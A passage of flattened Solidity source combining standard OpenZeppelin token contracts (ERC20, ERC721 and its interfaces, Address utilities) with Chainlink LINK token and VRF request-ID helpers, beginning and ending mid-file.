O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface LinkTokenInterface { function allowance( address owner, address spender ) external view returns ( uint256 remaining ); function approve( address spender, uint256 value ) external returns ( bool success ); function balanceOf( address owner ) external view returns ( uint256 balance ); function decimals() external view returns ( uint8 decimalPlaces ); function decreaseApproval( address spender, uint256 addedValue ) external returns ( bool success ); function increaseApproval( address spender, uint256 subtractedValue ) external; function name() external view returns ( string memory tokenName ); function symbol() external view returns ( string memory tokenSymbol ); function totalSupply() external view returns ( uint256 totalTokensIssued ); function transfer( address to, uint256 value ) external returns ( bool success ); function transferAndCall( address to, uint256 value, bytes calldata data ) external returns ( bool success ); function transferFrom( address from, address to, uint256 value ) external returns ( bool success ); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract VRFRequestIDBase { /** * @notice returns the seed which is actually input to the VRF coordinator * * @dev To prevent repetition of VRF output due to repetition of the * @dev user-supplied seed, that seed is combined in a hash with the * @dev user-specific nonce, and the address of the consuming contract. The * @dev risk of repetition is mostly mitigated by inclusion of a blockhash in * @dev the final seed, but the nonce does protect against repetition in * @dev requests which are included in a single block. * * @param _userSeed VRF seed input provided by user * @param _requester Address of the requesting contract * @param _nonce User-specific nonce at the time of the request */ function makeVRFInputSeed( bytes32 _keyHash, uint256 _userSeed, address _requester, uint256 _nonce ) internal pure returns ( uint256 ) { return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce))); } /** * @notice Returns the id for this request * @param _keyHash The serviceAgreement ID to be used for this request * @param _vRFInputSeed The seed to be passed directly to the VRF * @return The id for this request * * @dev Note that _vRFInputSeed is not the seed passed by the consuming * @dev contract, but the one generated by makeVRFInputSeed */ function makeRequestId( bytes32 _keyHash, uint256 _vRFInputSeed ) internal pure returns ( bytes32 ) { return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * 